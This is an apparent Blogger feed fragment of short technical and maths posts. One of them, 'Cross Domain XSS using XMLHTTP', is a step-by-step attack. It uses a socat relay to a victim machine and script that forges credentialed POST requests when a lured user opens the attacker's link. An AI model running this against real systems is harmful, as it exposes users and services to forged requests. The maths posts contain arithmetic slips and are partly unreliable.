rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/rules-of-cross-domain-land.html' title='The rules of Cross Domain Land'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7733761075013468827</id><published>2010-11-26T03:37:00.000-08:00</published><updated>2011-02-22T07:57:17.333-08:00</updated><title type='text'>Cross Domain XSS using XMLHTTP</title><content type='html'>Some people use &lt;a href="http://www.ajax-cross-domain.com/"&gt;Ajax Cross Domain&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The other method is below:&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Setup of Attack Site:&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
1. Install apache:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;aptitude install apache2

&lt;/pre&gt;&lt;br /&gt;
2. Make apache run only on HTTPS and not on HTTP&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;sed -i 's/Listen 80/# Listen 80/g' /etc/apache2/httpd.conf
&lt;/pre&gt;3. Restart apache service:&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;/etc/init.d/apache2 restart
&lt;/pre&gt;4. Execute the following command and keep the shell open:&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;socat -v TCP-L:80,fork OPENSSL:Victim Machine:443,verify=0
&lt;/pre&gt;5. Write the following into /var/www/index.html (enclosed with script tag):&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;window.onload = function(){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var xhr = new XMLHttpRequest();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xhr.open("POST", "&lt;a href="http://10.112.73.92/sdk" title="http://10.112.73.92/sdk"&gt;http://Attack Machine/service name&lt;/a&gt;");
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;message = 'XML to POST'

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xhr.onreadystatechange = function(){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( xhr.readyState == 4 ) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( xhr.status == 200 ) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.innerHTML = "Output: " + xhr.responseText;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} else {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.innerHTML = "ERROR" + xhr.responseText + xhr.status;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xhr.send(message);
&lt;script&gt;
window.onload = function(){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var xhr = new XMLHttpRequest();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xhr.open("POST", "http://Attack Machine IP/sdk");
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; message = 'Your SOAP Message'

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xhr.onreadystatechange = function(){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( xhr.readyState == 4 ) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( xhr.status == 200 ) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.body.innerHTML = "Output: Done POSTing";
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xhr.send(message);
};
&lt;/script&gt;
&lt;/pre&gt;Notice that the IP Address of the XML HTTP Post is Attack machine itself&lt;br /&gt;
&lt;br /&gt;
The POST request which is sent to the same machine (port 80) is redirected to port 443 of&amp;nbsp; Victim Machine by the socat re-direction script executed in step 4&lt;br /&gt;
&lt;br /&gt;
6. Pass the following link to the user:&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;https://Attack Machine IP
&lt;/pre&gt;7. Notice that once a user clicks on this link, a POST request is sent to the victim's machine&lt;br /&gt;
&lt;br /&gt;
The following javascript helps even doing redirection of website to the user:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;var xhr = new XMLHttpRequest();
xhr.open("GET", "http://Attack Machine IP/service name", false);
xhr.withCredentials = "true";
xhr.send(null);
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7733761075013468827?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7733761075013468827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/cross-domain-xss-using-xmlhttp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7733761075013468827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7733761075013468827'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/cross-domain-xss-using-xmlhttp.html' title='Cross Domain XSS using XMLHTTP'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6800537748733705180</id><published>2010-11-25T01:47:00.000-08:00</published><updated>2011-02-22T22:43:48.476-08:00</updated><title type='text'>Kaprekar's Constant</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Consider this:&lt;br /&gt;
&lt;br /&gt;
1) Take any three-digit number with at least two digits different (Example 100, 176 etc)&lt;br /&gt;
&lt;br /&gt;
2) Arrange the digits in ascending and then in descending order to get two four-digit numbers, adding leading zeros if necessary (Example 100 and 001 if 100 is chosen as the 3 digit number, 716 and 167 if 176 is chosen as the 3 digit number)&lt;br /&gt;
&lt;br /&gt;
3) Subtract the smaller number from the bigger number (100 - 001 if 100 is chosen as the 3 digit number, 716 - 167 if 176 is chosen as the 3 digit number)&lt;br /&gt;
&lt;br /&gt;
4) Go back to Step #2&lt;br /&gt;
&lt;br /&gt;
The above operation will always reach 495 in a few steps where it stops there&lt;br /&gt;
&lt;br /&gt;
Wondering?&lt;br /&gt;
&lt;br /&gt;
Examples:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=4776672193816865559&amp;amp;postID=6800537748733705180" name="content"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=4776672193816865559&amp;amp;postID=6800537748733705180" name="content"&gt;   &lt;/a&gt;&lt;/div&gt;100:&lt;br /&gt;
&lt;br /&gt;
100 – 001 = 099&lt;br /&gt;
990 – 099 = 891&lt;br /&gt;
981 – 189 = 792&lt;br /&gt;
972 – 279 = 693&lt;br /&gt;
963 – 369 = 594&lt;br /&gt;
954 – 459 &lt;span style="color: #3333ff; font-weight: bold;"&gt;= 495&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=4776672193816865559&amp;amp;postID=6800537748733705180" name="content"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=4776672193816865559&amp;amp;postID=6800537748733705180" name="content"&gt;   &lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
911:&lt;br /&gt;
911 - 119 = 792&lt;br /&gt;
972 - 279 = 693&lt;br /&gt;
963 - 369 = 594&lt;br /&gt;
954 - 459 = 495&lt;br /&gt;
&lt;br /&gt;
Here is a python script to find out the series till reaching the Kaprekar's constant:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Cpp" name="code"&gt;import sys

num = sys.argv[1]
def kaprekar(n):
&amp;nbsp;&amp;nbsp;&amp;nbsp; kaprekar = []
&amp;nbsp;&amp;nbsp;&amp;nbsp; while n != 495:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; kaprekar.append(int(n))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; zNum = list(str(n).zfill(3))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fNum = sorted(zNum)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rNum = sorted(zNum, reverse=True)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sNum = int("".join(rNum), 10)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dNum = int("".join(fNum), 10)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n = sNum - dNum

&amp;nbsp;&amp;nbsp;&amp;nbsp; kaprekar.append(495)
&amp;nbsp;&amp;nbsp;&amp;nbsp; return kaprekar

print kaprekar (num)&lt;/pre&gt;&lt;br /&gt;
A very reduced version submitted by arthur is below:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;import sys

num = sys.argv[1]
def kaprekar(n):
        print n
        if n != 495:
                kaprekar(int("".join(sorted(list(str(n).zfill(3)), reverse=True)), 10) - int("".join(sorted(list(str(n).zfill(3)))), 10))
        else:
                return
print kaprekar (num)

&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6800537748733705180?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6800537748733705180/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/kaprekars-constant.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6800537748733705180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6800537748733705180'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/kaprekars-constant.html' title='Kaprekar&apos;s Constant'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7321568489250129479</id><published>2010-11-25T01:24:00.000-08:00</published><updated>2010-11-25T01:24:42.912-08:00</updated><title type='text'>DavMail Gateway</title><content type='html'>&lt;a href="http://davmail.sourceforge.net/"&gt;DavMail&lt;/a&gt; is a 4MB Java Application which acts as a &lt;b&gt;proxy&lt;/b&gt; between your &lt;b&gt;desktop&lt;/b&gt; and &lt;b&gt;Microsoft Exchange Outlook Web Access&lt;/b&gt;, so that you can connect to localhost using any email client and &lt;b&gt;read emails, use calendar, synchronize address books etc&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
If you have &lt;b&gt;thunderbird-lightning plugin&lt;/b&gt;, you can even connect to &lt;b&gt;CalDAV &lt;/b&gt;server to get Calendar synced&lt;br /&gt;
&lt;br /&gt;
Prerequisites:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;aptitude install sun-java6-bin&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7321568489250129479?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7321568489250129479/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/davmail-gateway.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7321568489250129479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7321568489250129479'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/davmail-gateway.html' title='DavMail Gateway'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4174958599080574838</id><published>2010-11-22T22:17:00.000-08:00</published><updated>2010-11-24T02:58:26.747-08:00</updated><title type='text'>Ubuntu Linux with the __200 line patch__ (and the alternative approach)</title><content type='html'>Well, if you want to try out the kernel compiled with patch, the binary distribution is here:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.outrightsolutions.nl/%7Esander/ubuntu/kernel/"&gt;http://www.outrightsolutions.nl/~sander/ubuntu/kernel/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
I just tried it on an 64 bit Ubuntu and there is __noticeable__ difference in desktop responsiveness&lt;br /&gt;
&lt;br /&gt;
If you want to try out the command approach (alternative one), here it is:&lt;br /&gt;
&lt;br /&gt;
Add the following to /etc/rc.local:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;mkdir -p /dev/cgroup/cpu&lt;br /&gt;
mount -t cgroup cgroup /dev/cgroup/cpu -o cpu&lt;br /&gt;
mkdir -m 0777 /dev/cgroup/cpu/user&lt;br /&gt;
echo "/usr/local/sbin/cgroup_clean" &amp;gt; /dev/cgroup/cpu/release_agent&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Change the permissions of /etc/rc.local and make it executable:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;chmod +x /etc/rc.local&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Put the following in ~/.bashrc:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;if [ "$PS1" ] ; then&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp; mkdir -p -m 0700 /dev/cgroup/cpu/user/$$ &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;nbsp;&amp;nbsp; echo $$ &amp;gt; /dev/cgroup/cpu/user/$$/tasks&lt;br /&gt;
&amp;nbsp;&amp;nbsp; echo "1" &amp;gt; /dev/cgroup/cpu/user/$$/notify_on_release&lt;br /&gt;
fi&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Put the following in /usr/local/sbin/cgroup_clean:&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt;#!/bin/sh&lt;br /&gt;
rmdir /dev/cgroup/cpu/$*&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
Make /usr/local/sbin/cgroup_clean executable&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;chmod +x /usr/local/sbin/cgroup_clean&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Reboot your machine and execute /etc/rc.local file manually&lt;br /&gt;
&lt;br /&gt;
Check out the difference&lt;br /&gt;
&lt;br /&gt;
Noticeable difference in performance&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4174958599080574838?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4174958599080574838/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/ubuntu-kernel-with-200-line-patch-and.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4174958599080574838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4174958599080574838'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/ubuntu-kernel-with-200-line-patch-and.html' title='Ubuntu Linux with the __200 line patch__ (and the alternative approach)'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1038207258615527972</id><published>2010-11-22T06:04:00.000-08:00</published><updated>2010-11-22T06:14:38.737-08:00</updated><title type='text'>Trachtenberg system of mathematics</title><content type='html'>&lt;i&gt;A small girl with beribboned braids was asked to find the solution of  735352314 times 11. She came up with the correct answer-8088875454-in  less time than you can say the multiplication table. A thin,  studious-looking boy wearing silver-rimmed spectacles was told to  multiply 5132437201 times 452736502785. He blitzed through the problem,  computing the answer-2323641669144374104785-in seventy seconds&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.speed-math.com/story.htm"&gt;Read the story here&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://wildaboutmath.com/2007/11/23/quick-multiplication-by-12-a-gentle-introduction-to-trachtenberg-speed-mathematics/"&gt;An example of multiplication by 12&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1038207258615527972?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1038207258615527972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/trachtenberg-system-of-mathematics.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1038207258615527972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1038207258615527972'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/trachtenberg-system-of-mathematics.html' title='Trachtenberg system of mathematics'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6929373127566932977</id><published>2010-11-21T18:51:00.000-08:00</published><updated>2010-11-21T18:51:57.692-08:00</updated><title type='text'>How many numbers can you count using one hand</title><content type='html'>Seems to be an easy question, but think again&lt;br /&gt;
&lt;br /&gt;
Its far too much as compared to what you can think&lt;br /&gt;
&lt;br /&gt;
To analyze this, consider that we have 3 lines per finger which can represent the numbers 0, 1 and 2 respectively (starting from the line below to the line above)&lt;br /&gt;
&lt;br /&gt;
When we use the numbers 0 and 1 it is called binary arithmetic; If we use 0, 1 and 2 it would be called trenary arithmetic&lt;br /&gt;
&lt;br /&gt;
In such arithmetic, each finger can represent either 0, 1 or 2 based on which line is marked&lt;br /&gt;
&lt;br /&gt;
Now applying the rules of binary arithmetic (or decimal arithmetic) here, to the five fingers, we get the maximum number that can be counted:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;= 2 * 3^0 + 2 * 3^1 + 2 * 3^2 + 2 * 3^3 + 2 * 3^4&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;= 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + 6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + 18&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + 54&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + 162&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;= 242&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Our thumbs have one more line (4 instead of 3 as in other fingers)&lt;br /&gt;
&lt;br /&gt;
Which means that if we consider that as the first line belonging to the 6th finger, which could have any value 0, 1 or 2, then the maximum value represented by the thumb's 4th line would be:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;= 2 * 3^5&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;= 243&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Combining both the numbers above, the value comes to:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;= 242 + 243 = 485&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
So we can easily count &lt;b&gt;0 to 485 using one hand&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Counting the second hand's fingers from 3^5 (continuation from above) would mean the maximum number that can be counted using both hands would be:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;= 2 * 3^5 + 2 * 3^6 + 2 * 3^7 + 2 * 3^8 + 2 * 3^9 + 242 (from first hand)&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;= 486&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + 1458 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + 4374 &amp;nbsp;&amp;nbsp;&amp;nbsp; + 13122&amp;nbsp;&amp;nbsp; + 39366 + 242&lt;/b&gt;&lt;br /&gt;
